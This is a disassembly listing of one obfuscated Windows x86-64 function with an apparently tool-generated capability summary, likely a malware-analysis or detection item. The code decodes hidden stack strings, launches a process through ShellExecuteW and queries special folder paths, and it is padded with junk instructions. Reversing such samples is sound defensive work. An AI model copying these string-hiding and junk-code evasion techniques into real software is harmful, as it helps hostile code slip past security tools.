Function at 0x14008be30
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete registry key
Encode data using xor
Get common file path
Query or enumerate registry value

Disassembly:
xchg rbx, rbp
mov qword [rsp + 8], rbp
xchg rbx, rbp
nop
sub rsp, 8
mov qword [rsp], rbp
nop
mov qword [rsp - 8], rsi
sub rsp, 8
nop
sub rsp, 8
mov qword [rsp], rdi
nop
sub rsp, 8
mov qword [rsp], r12
nop
mov qword [rsp - 8], r13
sub rsp, 8
nop
push 0x7d6dad61
mov qword [rsp], r14
nop
mov qword [rsp - 8], r15
sub rsp, 8
lea rbp, [rsp - 0x26f0]
mov eax, 0x14dc5643
sub eax, 0x14dc2e53
call fcn.140110640
sub rsp, rax
mov dword [rbp + 0x722], 0x3f8cabfe
xor dword [rbp + 0x722], 0x81321540
mov dword [rbp + 0x79c], 0x42bb3939
add dword [rbp + 0x79c], 0xbcecc650
mov dword [rbp + 0x7a0], 0x26b2e33c
add dword [rbp + 0x7a0], 0xd8bd1c7a
mov dword [rbp + 0x726], 0x3956329
add dword [rbp + 0x726], 0xbb295b95
mov dword [rbp + 0x7a4], 0x74b3f08c
xor dword [rbp + 0x7a4], 0x8b030f1e
mov dword [rbp + 0x7a8], 0x33f746a0
xor dword [rbp + 0x7a8], 0xcc71b912
mov dword [rbp + 0x72a], 0x69c1285
xor dword [rbp + 0x72a], 0xb822ac3b
mov dword [rbp + 0x7ac], 0x1a042eed
xor dword [rbp + 0x7ac], 0xe5bcd14a
mov dword [rbp + 0x7b0], 0x24bff115
add dword [rbp + 0x7b0], 0xdae60e96
mov dword [rbp + 0x72e], 0x6be7271d
add dword [rbp + 0x72e], 0x52d797a1
mov dword [rbp + 0x7b4], 0x38a45763
xor dword [rbp + 0x7b4], 0xc7c6a8c4
mov dword [rbp + 0x7b8], 0x49c10a33
xor dword [rbp + 0x7b8], 0xb654f55c
mov dword [rbp + 0x732], 0x1076fe62
add dword [rbp + 0x732], 0xae47c05c
mov dword [rbp + 0x7bc], 0x388b5362
xor dword [rbp + 0x7bc], 0xc728acd4
mov dword [rbp + 0x7c0], 0x2dee4a99
add dword [rbp + 0x7c0], 0xd1c9b51d
mov dword [rbp + 0x736], 0x50522e5c
xor dword [rbp + 0x736], 0xeeec90e2
mov dword [rbp + 0x7c4], 0x4219f698
add dword [rbp + 0x7c4], 0xbd49091d
mov dword [rbp + 0x7c8], 0x6c2dd0c2
xor dword [rbp + 0x7c8], 0x93bd2f55
mov dword [rbp + 0x73a], 0x779251
add dword [rbp + 0x73a], 0xbe472c6d
mov dword [rbp + 0x7cc], 0x56e4ff17
add dword [rbp + 0x7cc], 0xa8ac0076
mov dword [rbp + 0x7d0], 0x389b6584
add dword [rbp + 0x7d0], 0xc6fe9a0d
mov dword [rbp + 0x73e], 0x271a3946
add dword [rbp + 0x73e], 0x97a48578
mov dword [rbp + 0x7d4], 0x70569435
add dword [rbp + 0x7d4], 0x8f0c6b5b
mov dword [rbp + 0x7d8], 0x2258eb13
add dword [rbp + 0x7d8], 0xdd0a14ab
mov dword [rbp + 0x742], 0x1592002e
add dword [rbp + 0x742], 0xa92cbe90
mov dword [rbp + 0x7dc], 0x25e0908e
xor dword [rbp + 0x7dc], 0xda516f06
mov dword [rbp + 0x7e0], 0x674fcf13
add dword [rbp + 0x7e0], 0x983830a1
mov dword [rbp + 0x746], 0x50821877
xor dword [rbp + 0x746], 0xee3ca6c9
mov dword [rbp + 0x7e4], 0x26ef63e0
xor dword [rbp + 0x7e4], 0xd94a9c43
mov dword [rbp + 0x7e8], 0x2152ae5f
add dword [rbp + 0x7e8], 0xde1d514b
mov dword [rbp + 0x74a], 0x5634b831
add dword [rbp + 0x74a], 0x688a068d
mov dword [rbp + 0x7ec], 0x7afbe5a8
add dword [rbp + 0x7ec], 0x84a919e9
mov dword [rbp + 0x7f0], 0x22ee9ec1
add dword [rbp + 0x7f0], 0xdcb960eb
mov dword [rbp + 0x74e], 0x1b4f702e
xor dword [rbp + 0x74e], 0xa5f1ce90
mov dword [rbp + 0x7f4], 0xdb76c99
add dword [rbp + 0x7f4], 0xf1ff930c
mov dword [rbp + 0x7f8], 0x5c79eccb
add dword [rbp + 0x7f8], 0xa2f61297
mov dword [rbp + 0x752], 0x72a0377a
add dword [rbp + 0x752], 0x4c1e8744
mov dword [rbp + 0x7fc], 0x1b3c6ece
add dword [rbp + 0x7fc], 0xe46b90c1
mov dword [rbp + 0x800], 0x40575aa1
add dword [rbp + 0x800], 0xbf4da50e
mov dword [rbp + 0x756], 0x6bfd8ac1
xor dword [rbp + 0x756], 0xd543347f
mov dword [rbp + 0x804], 0x6a0c2f77
add dword [rbp + 0x804], 0x95a8d030
mov dword [rbp + 0x808], 0x68cf83a9
add dword [rbp + 0x808], 0x96d47be7
mov dword [rbp + 0x75a], 0x14d42a7e
xor dword [rbp + 0x75a], 0xaa6a94c0
mov dword [rbp + 0x80c], 0x310e239
add dword [rbp + 0x80c], 0xfc971d76
mov dword [rbp + 0x810], 0x4b4b256f
add dword [rbp + 0x810], 0xb440d9f3
mov dword [rbp + 0x75e], 0x588c2e86
add dword [rbp + 0x75e], 0x66329038
mov dword [rbp + 0x814], 0x70612963
add dword [rbp + 0x814], 0x8f54d64d
mov dword [rbp + 0x818], 0x4ea14884
add dword [rbp + 0x818], 0xb102b732
mov dword [rbp + 0x762], 0x2d2dd9bb
xor dword [rbp + 0x762], 0x93936705
mov dword [rbp + 0x81c], 0x7c6192ea
add dword [rbp + 0x81c], 0x83446cc6
mov dword [rbp + 0x820], 0x7c312749
add dword [rbp + 0x820], 0x835ad85e
mov dword [rbp + 0x766], 0x1017d1ea
xor dword [rbp + 0x766], 0xaea96f54
mov dword [rbp + 0x824], 0x44024179
add dword [rbp + 0x824], 0xbb60be2d
mov dword [rbp + 0x828], 0x7ae6726e
add dword [rbp + 0x828], 0x847c8d50
mov dword [rbp + 0x76a], 0x25c81322
add dword [rbp + 0x76a], 0x98f6ab9c
mov dword [rbp + 0x82c], 0x17c3bd75
xor dword [rbp + 0x82c], 0xe87242fd
mov dword [rbp + 0x830], 0x7a698f7f
add dword [rbp + 0x830], 0x851e7035
mov dword [rbp + 0x76e], 0x30419939
add dword [rbp + 0x76e], 0x8e7d2585
mov dword [rbp + 0x834], 0x1c645ba7
xor dword [rbp + 0x834], 0xe3c1a404
mov dword [rbp + 0x838], 0x252b0b02
add dword [rbp + 0x838], 0xda44f4a8
mov dword [rbp + 0x772], 0x4685b31a
add dword [rbp + 0x772], 0x78390ba4
mov dword [rbp + 0x83c], 0x1f83af2e
xor dword [rbp + 0x83c], 0xe02750bf
mov dword [rbp + 0x840], 0x41fc6dff
add dword [rbp + 0x840], 0xbdab91ad
mov dword [rbp + 0x776], 0x22aaefee
add dword [rbp + 0x776], 0x9c13ced0
mov dword [rbp + 0x844], 0x786fdde2
xor dword [rbp + 0x844], 0x87d92247
mov dword [rbp + 0x848], 0x634cbe43
add dword [rbp + 0x848], 0x9c71411f
mov dword [rbp + 0x77a], 0x2e0f459c
add dword [rbp + 0x77a], 0x90af7922
mov dword [rbp + 0x84c], 0x7cc53f9f
add dword [rbp + 0x84c], 0x82edbfc3
mov dword [rbp + 0x850], 0xaa442f5
xor dword [rbp + 0x850], 0xf516bd45
mov dword [rbp + 0x77e], 0x496fdada
add dword [rbp + 0x77e], 0x754ee3e4
mov dword [rbp + 0x854], 0x67e51203
xor dword [rbp + 0x854], 0x9853edb4
mov dword [rbp + 0x858], 0x5b4d6185
add dword [rbp + 0x858], 0xa4619e26
mov dword [rbp + 0x782], 0x7c4efb36
xor dword [rbp + 0x782], 0xc2f04588
mov dword [rbp + 0x85c], 0x1fa6e88f
add dword [rbp + 0x85c], 0xe00116e1
mov dword [rbp + 0x860], 0xc559d2d
add dword [rbp + 0x860], 0xf352628d
mov dword [rbp + 0x786], 0x17032a8c
add dword [rbp + 0x786], 0xa7bb9432
mov dword [rbp + 0x864], 0x47eff8c3
add dword [rbp + 0x864], 0xb782069f
mov dword [rbp + 0x868], 0x603a4bc7
xor dword [rbp + 0x868], 0x9f9db473
mov dword [rbp + 0x78a], 0x18066747
add dword [rbp + 0x78a], 0xa6b85777
mov dword [rbp + 0x86c], 0x390cf5a8
add dword [rbp + 0x86c], 0xc6a50a07
mov dword [rbp + 0x870], 0x7029874d
add dword [rbp + 0x870], 0x8f7e786b
mov dword [rbp + 0x78e], 0x27cecac9
add dword [rbp + 0x78e], 0x96eff3f5
mov dword [rbp + 0x874], 0x5cbac234
add dword [rbp + 0x874], 0xa2ec3d3b
mov dword [rbp + 0x878], 0x4e6f45bc
add dword [rbp + 0x878], 0xb149b9eb
mov dword [rbp + 0x792], 0x2b9707d5
xor dword [rbp + 0x792], 0x9529b96b
mov dword [rbp + 0x87c], 0x30d4605d
add dword [rbp + 0x87c], 0xced19f4e
mov dword [rbp + 0x880], 0x2419ee7a
add dword [rbp + 0x880], 0xdb49112d
mov dword [rbp + 0x796], 0x583e084a
xor dword [rbp + 0x796], 0xe680b6f4
mov dword [rbp + 0x884], 0x3eec9a00
add dword [rbp + 0x884], 0xc0b56566
mov dword [rbp + 0x888], 0x7d55b8b5
xor dword [rbp + 0x888], 0x82ea47d7
xor eax, eax
mov word [rbp + 0x88c], ax
xor ebx, ebx
mov edx, ebx
nop word [rax + rax]
movzx ecx, word [rbp + rdx*2 + 0x79c]
movzx eax, byte [rbp + rdx + 0x722]
add ax, cx
mov word [rbp + rdx*2 + 0x79c], ax
mov byte [rbp + rdx + 0x722], bl
inc rdx
cmp rdx, 0x78
jb 0x14008c5b7
mov dword [rbp + 0x1ac], 0x22c28c2d
xor dword [rbp + 0x1ac], 0x9c7c3293
mov dword [rbp + 0x1b8], 0x29b363e7
xor dword [rbp + 0x1b8], 0xd6029c55
mov dword [rbp + 0x1bc], 0x50d1be0e
add dword [rbp + 0x1bc], 0xaed641ab
mov dword [rbp + 0x1b0], 0xb4c5e18
xor dword [rbp + 0x1b0], 0xb5f2e0a6
mov dword [rbp + 0x1c0], 0x65034017
add dword [rbp + 0x1c0], 0x9ab2bf9d
mov dword [rbp + 0x1c4], 0x1a7bb1bb
xor dword [rbp + 0x1c4], 0xe5dc4e11
mov word [rbp + 0x1b4], 0x34b8
add word [rbp + 0x1b4], 0x8a06
mov dword [rbp + 0x1c8], 0x11d62bf4
add dword [rbp + 0x1c8], 0xedd8d3ba
xor eax, eax
mov word [rbp + 0x1cc], ax
xchg rbx, rsi
mov rdx, rsi
xchg rbx, rsi
nop word [rax + rax]
movzx ecx, word [rbp + rdx*2 + 0x1b8]
movzx eax, byte [rbp + rdx + 0x1ac]
add ax, cx
mov word [rbp + rdx*2 + 0x1b8], ax
mov byte [rbp + rdx + 0x1ac], bl
inc rdx
cmp rdx, 0xa
jb 0x14008c6a0
mov dword [rbp + 0x19c], 0xd9e5d71
xor dword [rbp + 0x19c], 0xb320e3cf
mov dword [rbp + 0x1a2], 0x1c6dda19
add dword [rbp + 0x1a2], 0xe3252578
mov dword [rbp + 0x1a6], 0x625444d4
xor dword [rbp + 0x1a6], 0x9dc4bb53
xor eax, eax
mov word [rbp + 0x1aa], ax
xchg rdx, rbx
mov rbx, rdx
xchg rbx, rdx
nop word [rax + rax]
movzx ecx, word [rbp + rdx*2 + 0x1a2]
movzx eax, byte [rbp + rdx + 0x19c]
add ax, cx
mov word [rbp + rdx*2 + 0x1a2], ax
mov byte [rbp + rdx + 0x19c], bl
inc rdx
cmp rdx, 4
jb 0x14008c728
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x79c]
lea r8, [rbp + 0x1b8]
lea rdx, [rbp + 0x1a2]
xchg rbx, rax
mov rcx, rbx
xchg rbx, rax
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xchg rdi, rax
mov rdi, rbx
xchg rdi, rax
nop dword [rax + rax]
mov byte [rbp + rax + 0x1a2], bl
inc rax
cmp rax, 8
jb 0x14008c794
mov rax, rbx
nop dword [rax]
nop word [rax + rax]
mov byte [rbp + rax + 0x1b8], bl
inc rax
cmp rax, 0x14
jb 0x14008c7b8
xchg r8, rbx
mov rax, r8
xchg r8, rbx
nop dword [rax]
nop word [rax + rax]
mov byte [rbp + rax + 0x79c], bl
inc rax
cmp rax, 0xf0
jb 0x14008c7e2
lea rax, [rbp + 0x2738]
xchg r12, rax
mov qword [rsp + 0x40], r12
xchg r12, rax
xor edx, edx
mov r8d, 0x5c42e05c
sub r8d, 0x5c42dc4c
lea rcx, [rbp + 0xe80]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0xe80]
xchg rsi, rax
mov qword [rsp + 0x20], rsi
xchg rsi, rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor edx, edx
mov r8d, 0x458e2418
xor r8d, 0x458e2008
lea rcx, [rbp + 0x1ed0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x1ed0]
xchg r8, rax
mov qword [rsp + 0x20], r8
xchg r8, rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor edx, edx
mov r8d, 0x686ccf27
sub r8d, 0x686ccb17
lea rcx, [rbp + 0x22e0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x22e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x24]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor edx, edx
mov r8d, 0xdd05cae
xor r8d, 0xdd058be
lea rcx, [rbp + 0x1ac0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x1ac0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 5]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor edx, edx
mov r8d, 0x16b554ab
xor r8d, 0x16b550bb
lea rcx, [rbp + 0x16b0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x16b0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x23]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0xe60]
call fcn.14002b490
mov rsi, rax
mov dword [rbp + 0x132], 0x7c52b2a5
add dword [rbp + 0x132], 0x426c0c19
mov dword [rbp + 0x14b], 0x787bdcaa
add dword [rbp + 0x14b], 0x3834d4db
mov dword [rbp + 0x136], 0x7576ce6a
xor dword [rbp + 0x136], 0xcbc870d4
mov dword [rbp + 0x14f], 0x30ffe4b4
add dword [rbp + 0x14f], 0x76b6c0f3
mov dword [rbp + 0x13a], 0xba4e620
add dword [rbp + 0x13a], 0xb319d89e
mov dword [rbp + 0x153], 0x25b1096f
xor dword [rbp + 0x153], 0x9d168fc9
mov dword [rbp + 0x13e], 0x3f47418f
add dword [rbp + 0x13e], 0x7f777d2f
mov dword [rbp + 0x157], 0x2eca08b0
add dword [rbp + 0x157], 0x86dd9cfb
mov dword [rbp + 0x142], 0x1782ec1
add dword [rbp + 0x142], 0xbd468ffd
mov dword [rbp + 0x15b], 0x538f412e
xor dword [rbp + 0x15b], 0xe52cefbc
mov dword [rbp + 0x146], 0x268e9951
xor dword [rbp + 0x146], 0x983027ef
mov dword [rbp + 0x15f], 0xcc682
add dword [rbp + 0x15f], 0xafa7eb26
xor eax, eax
mov byte [rbp + 0x163], al
xchg rdx, rbx
mov rbx, rdx
xchg rbx, rdx
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbp + rdx + 0x132]
movzx eax, byte [rbp + rdx + 0x14b]
add al, cl
mov byte [rbp + rdx + 0x14b], al
mov byte [rbp + rdx + 0x132], 0x4e
xor byte [rbp + rdx + 0x132], 0x4e
inc rdx
cmp rdx, 0x18
jb 0x14008ca53
xchg r11, rbx
mov qword [rbp + 0x8f8], r11
xchg rbx, r11
mov qword [rbp + 0x908], rbx
mov qword [rbp + 0x910], 0x15027926
sub qword [rbp + 0x910], 0x15027917
mov byte [rbp + 0x8f8], 0x2f
xor byte [rbp + 0x8f8], 0x2f
lea rax, [rbp + 0x14b]
nop
movabs rdi, 0xffffffff70405909
add rdi, 0x7fffffff
add rdi, 0xfbfa6f7
xchg r8, rdi
mov rdi, r8
xchg rdi, r8
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14008caef
lea rdx, [rbp + 0x14b]
lea rcx, [rbp + 0x8f8]
call fcn.14001da60
nop
lea rdx, [rbp + 0x8f8]
xchg r15, rcx
mov r15, rsi
xchg r15, rcx
call fcn.140033660
xchg rdi, rdx
mov rdi, rax
xchg rdi, rdx
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
xchg r13, rdx
mov r13, qword [rbp + 0x910]
xchg rdx, r13
cmp rdx, 0x10
jb 0x14008cbb0
inc rdx
xchg rcx, r9
mov r9, qword [rbp + 0x8f8]
xchg r9, rcx
xchg rcx, r12
mov rax, r12
xchg r12, rcx
cmp rdx, 0x1000
jb 0x14008cbab
nop
sub rdx, 0x44218d7e
add rdx, 0x44218da5
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
sub rax, 0xffffffffb3fad14d
add rax, 0xffffffffb3fad145
cmp rax, 0x1f
jbe 0x14008cbab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
mov qword [rbp + 0x908], rbx
mov qword [rbp + 0x910], 0x1713445
sub qword [rbp + 0x910], 0x1713436
mov byte [rbp + 0x8f8], 0xf
sub byte [rbp + 0x8f8], 0xf
xchg rbx, rax
mov rbx, rax
xchg rbx, rax
nop dword [rax + rax]
mov byte [rbp + rax + 0x14b], 0x24
sub byte [rbp + rax + 0x14b], 0x24
inc rax
cmp rax, 0x18
jb 0x14008cbe7
lea rcx, [rbp + 0xe60]
call fcn.14000f270
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0xe40]
call fcn.14002b490
mov rsi, rax
mov dword [rsp + 0x48], 0xac7abc4
xor dword [rsp + 0x48], 0xb479157a
mov dword [rsp + 0x4d], 0x7f9b038e
xor dword [rsp + 0x4d], 0xcd34a418
xor eax, eax
mov byte [rsp + 0x51], al
xchg rbp, rdx
mov rbp, rbx
xchg rbp, rdx
nop dword [rax]
movzx ecx, byte [rsp + rdx + 0x48]
movzx eax, byte [rsp + rdx + 0x4d]
add al, cl
mov byte [rsp + rdx + 0x4d], al
mov byte [rsp + rdx + 0x48], 0x31
sub byte [rsp + rdx + 0x48], 0x31
inc rdx
cmp rdx, 4
jb 0x14008cc59
mov qword [rbp + 0x918], rbx
xchg r15, rbx
mov qword [rbp + 0x928], r15
xchg rbx, r15
mov qword [rbp + 0x930], 0x1b28574d
sub qword [rbp + 0x930], 0x1b28573e
mov byte [rbp + 0x918], 0x6a
sub byte [rbp + 0x918], 0x6a
lea rax, [rsp + 0x4d]
xchg r8, rdi
mov rdi, r8
xchg r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14008ccc6
lea rdx, [rsp + 0x4d]
lea rcx, [rbp + 0x918]
call fcn.14001da60
nop
lea rdx, [rbp + 0x918]
mov rcx, rsi
call fcn.140033660
xchg r12, rdx
mov r12, rax
xchg r12, rdx
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
mov rdx, qword [rbp + 0x930]
cmp rdx, 0x10
jb 0x14008cd66
inc rdx
mov rcx, qword [rbp + 0x918]
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
jb 0x14008cd61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
sub rax, 0xffffffffdf437e9b
add rax, 0xffffffffdf437e93
cmp rax, 0x1f
jbe 0x14008cd61
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
mov qword [rbp + 0x928], rbx
mov qword [rbp + 0x930], 0x2c3e3d20
xor qword [rbp + 0x930], 0x2c3e3d2f
mov byte [rbp + 0x918], 0x5e
sub byte [rbp + 0x918], 0x5e
xchg rbx, rax
mov rbx, rax
xchg rbx, rax
nop
mov byte [rsp + rax + 0x4d], 0x1a
sub byte [rsp + rax + 0x4d], 0x1a
inc rax
cmp rax, 4
jb 0x14008cd99
lea rcx, [rbp + 0xe40]
call fcn.14000f270
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0xe20]
call fcn.14002b490
xchg rbp, rsi
mov rbp, rax
xchg rsi, rbp
mov dword [rbp + 0x40], 0x716551e4
add dword [rbp + 0x40], 0x4d596cda
mov dword [rbp + 0x4b], 0x1d49595c
xor dword [rbp + 0x4b], 0xabfffad8
mov dword [rbp + 0x44], 0x7f3aaa3d
add dword [rbp + 0x44], 0x3f841481
mov dword [rbp + 0x4f], 0x67108608
xor dword [rbp + 0x4f], 0xd76021a6
mov word [rbp + 0x48], 0x2aef
add word [rbp + 0x48], 0x93cf
mov word [rbp + 0x53], 0x6202
add word [rbp + 0x53], 0x54a5
xor eax, eax
mov byte [rbp + 0x55], al
xchg rbx, rdx
mov rbx, rdx
xchg rdx, rbx
movzx ecx, byte [rbp + rdx + 0x40]
movzx eax, byte [rbp + rdx + 0x4b]
add al, cl
mov byte [rbp + rdx + 0x4b], al
mov byte [rbp + rdx + 0x40], 0x76
xor byte [rbp + rdx + 0x40], 0x76
inc rdx
cmp rdx, 0xa
jb 0x14008ce36
xchg rbx, rsi
mov qword [rbp + 0x938], rsi
xchg rsi, rbx
mov qword [rbp + 0x948], rbx
mov qword [rbp + 0x950], 0x52b4bf71
sub qword [rbp + 0x950], 0x52b4bf62
mov byte [rbp + 0x938], 0x6f
sub byte [rbp + 0x938], 0x6f
lea rax, [rbp + 0x4b]
xchg r15, rdi
mov r8, r15
xchg r15, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14008cea2
lea rdx, [rbp + 0x4b]
lea rcx, [rbp + 0x938]
call fcn.14001da60
nop
lea rdx, [rbp + 0x938]
xchg rsi, rcx
mov rsi, rcx
xchg rcx, rsi
call fcn.140033660
xchg rdx, rbx
mov rbx, rax
xchg rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
xchg rdx, r15
mov r15, qword [rbp + 0x950]
xchg rdx, r15
cmp rdx, 0x10
jb 0x14008cf44
inc rdx
mov rcx, qword [rbp + 0x938]
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
jb 0x14008cf3f
sub rdx, 0xffffffffffffffd9
mov rcx, qword [rcx - 8]
sub rax, rcx
sub rax, 8
cmp rax, 0x1f
jbe 0x14008cf3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg rbx, rcx
mov qword [rbp + 0x948], rcx
xchg rbx, rcx
mov qword [rbp + 0x950], 0x2df0237f
sub qword [rbp + 0x950], 0x2df02370
mov byte [rbp + 0x938], 0x24
sub byte [rbp + 0x938], 0x24
xchg rbx, rax
mov rbx, rax
xchg rbx, rax
nop dword [rax]
mov byte [rbp + rax + 0x4b], 0x73
xor byte [rbp + rax + 0x4b], 0x73
inc rax
cmp rax, 0xa
jb 0x14008cf7f
lea rcx, [rbp + 0xe20]
call fcn.14000f270
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0xe00]
call fcn.14002b490
xchg rsi, rax
mov rax, rsi
xchg rsi, rax
mov dword [rbp + 0x56], 0x64b65c1e
add dword [rbp + 0x56], 0x5a0862a0
mov dword [rbp + 0x61], 0x1d563ea0
add dword [rbp + 0x61], 0x984d75e5
mov dword [rbp + 0x5a], 0x404b9f4f
xor dword [rbp + 0x5a], 0xfef521f1
mov dword [rbp + 0x65], 0x193b29f9
xor dword [rbp + 0x65], 0xb68caf53
mov word [rbp + 0x5e], 0x541f
add word [rbp + 0x5e], 0x6a9f
mov word [rbp + 0x69], 0x1356
xor word [rbp + 0x69], 0xa6e4
xor eax, eax
mov byte [rbp + 0x6b], al
xchg r14, rdx
mov r14, rbx
xchg rdx, r14
movzx eax, byte [rbp + rdx + 0x61]
movzx ecx, byte [rbp + rdx + 0x56]
add cl, al
mov byte [rbp + rdx + 0x61], cl
mov byte [rbp + rdx + 0x56], 0x5b
sub byte [rbp + rdx + 0x56], 0x5b
inc rdx
cmp rdx, 0xa
jb 0x14008d01a
xchg rbx, r15
mov qword [rbp + 0x898], r15
xchg rbx, r15
mov qword [rbp + 0x8a8], rbx
mov qword [rbp + 0x8b0], 0x39101ef1
xor qword [rbp + 0x8b0], 0x39101efe
mov byte [rbp + 0x898], 0x15
sub byte [rbp + 0x898], 0x15
lea rax, [rbp + 0x61]
xchg r8, rcx
mov rcx, rdi
xchg rcx, r8
inc r8
cmp byte [rax + r8], 0
jne 0x14008d086
lea rdx, [rbp + 0x61]
lea rcx, [rbp + 0x898]
call fcn.14001da60
nop
lea rdx, [rbp + 0x898]
mov rcx, rsi
call fcn.140033660
xchg rdx, r13
mov r13, rax
xchg r13, rdx
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
mov rdx, qword [rbp + 0x8b0]
cmp rdx, 0x10
jb 0x14008d127
inc rdx
mov rcx, qword [rbp + 0x898]
xchg r8, rax
mov r8, rcx
xchg r8, rax
cmp rdx, 0x1000
jb 0x14008d122
nop
add rdx, 0x784b6edd
sub rdx, 0x784b6eb6
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008d122
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg rbx, r11
mov qword [rbp + 0x8a8], r11
xchg r11, rbx
mov qword [rbp + 0x8b0], 0x3839880
sub qword [rbp + 0x8b0], 0x3839871
mov byte [rbp + 0x898], 0x73
xor byte [rbp + 0x898], 0x73
mov rax, rbx
nop dword [rax]
mov byte [rbp + rax + 0x61], 0x4b
sub byte [rbp + rax + 0x61], 0x4b
inc rax
cmp rax, 0xa
jb 0x14008d15e
lea rcx, [rbp + 0xe00]
call fcn.14000f270
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0xde0]
call fcn.14002b490
xchg r13, rax
mov rsi, r13
xchg r13, rax
mov dword [rbp + 0x104], 0x4e6c58c4
add dword [rbp + 0x104], 0x705265fa
mov dword [rbp + 0x11b], 0x4f6feabe
add dword [rbp + 0x11b], 0x6d3bc3c6
mov dword [rbp + 0x108], 0x365f6092
add dword [rbp + 0x108], 0x885f5e2c
mov dword [rbp + 0x11f], 0x19d34f6c
xor dword [rbp + 0x11f], 0xbf67ecd0
mov dword [rbp + 0x10c], 0x51036b8f
add dword [rbp + 0x10c], 0x6dbb532f
mov dword [rbp + 0x123], 0x2dcfe77e
xor dword [rbp + 0x123], 0x9b7f601c
mov dword [rbp + 0x110], 0x42e285e5
xor dword [rbp + 0x110], 0xfc5c3b5b
mov dword [rbp + 0x127], 0xb20e067
xor dword [rbp + 0x127], 0xa89654c0
mov dword [rbp + 0x114], 0x5ccce6af
xor dword [rbp + 0x114], 0xe2725811
mov dword [rbp + 0x12b], 0x40c90bf5
add dword [rbp + 0x12b], 0x66e6a4b6
mov word [rbp + 0x118], 0x4186
xor word [rbp + 0x118], 0xff38
mov word [rbp + 0x12f], 0x1b
add word [rbp + 0x12f], 0xb695
xor eax, eax
mov byte [rbp + 0x131], al
xchg rdx, rbx
mov rbx, rdx
xchg rbx, rdx
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbp + rdx + 0x104]
movzx eax, byte [rbp + rdx + 0x11b]
add al, cl
mov byte [rbp + rdx + 0x11b], al
mov byte [rbp + rdx + 0x104], 0x61
sub byte [rbp + rdx + 0x104], 0x61
inc rdx
cmp rdx, 0x16
jb 0x14008d2a7
mov qword [rbp + 0x978], rbx
xchg r15, rbx
mov qword [rbp + 0x988], r15
xchg rbx, r15
mov qword [rbp + 0x990], 0x67136b68
sub qword [rbp + 0x990], 0x67136b59
mov byte [rbp + 0x978], 0x79
sub byte [rbp + 0x978], 0x79
lea rax, [rbp + 0x11b]
xchg r8, r12
mov r12, rdi
xchg r12, r8
inc r8
cmp byte [rax + r8], 0
jne 0x14008d325
lea rdx, [rbp + 0x11b]
lea rcx, [rbp + 0x978]
call fcn.14001da60
nop
lea rdx, [rbp + 0x978]
xchg rbp, rcx
mov rbp, rsi
xchg rcx, rbp
call fcn.140033660
xchg rbx, rax
mov rdx, rbx
xchg rbx, rax
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
mov rdx, qword [rbp + 0x990]
cmp rdx, 0x10
jb 0x14008d3d5
inc rdx
mov rcx, qword [rbp + 0x978]
xchg r14, rcx
mov rax, r14
xchg r14, rcx
cmp rdx, 0x1000
jb 0x14008d3d0
nop
sub rdx, 0x47fc7758
add rdx, 0x47fc777f
mov rcx, qword [rcx - 8]
sub rax, rcx
neg rax
add rax, 8
neg rax
cmp rax, 0x1f
jbe 0x14008d3d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg rbx, rsi
mov qword [rbp + 0x988], rsi
xchg rsi, rbx
mov qword [rbp + 0x990], 0x71ae9ca9
sub qword [rbp + 0x990], 0x71ae9c9a
mov byte [rbp + 0x978], 0x31
sub byte [rbp + 0x978], 0x31
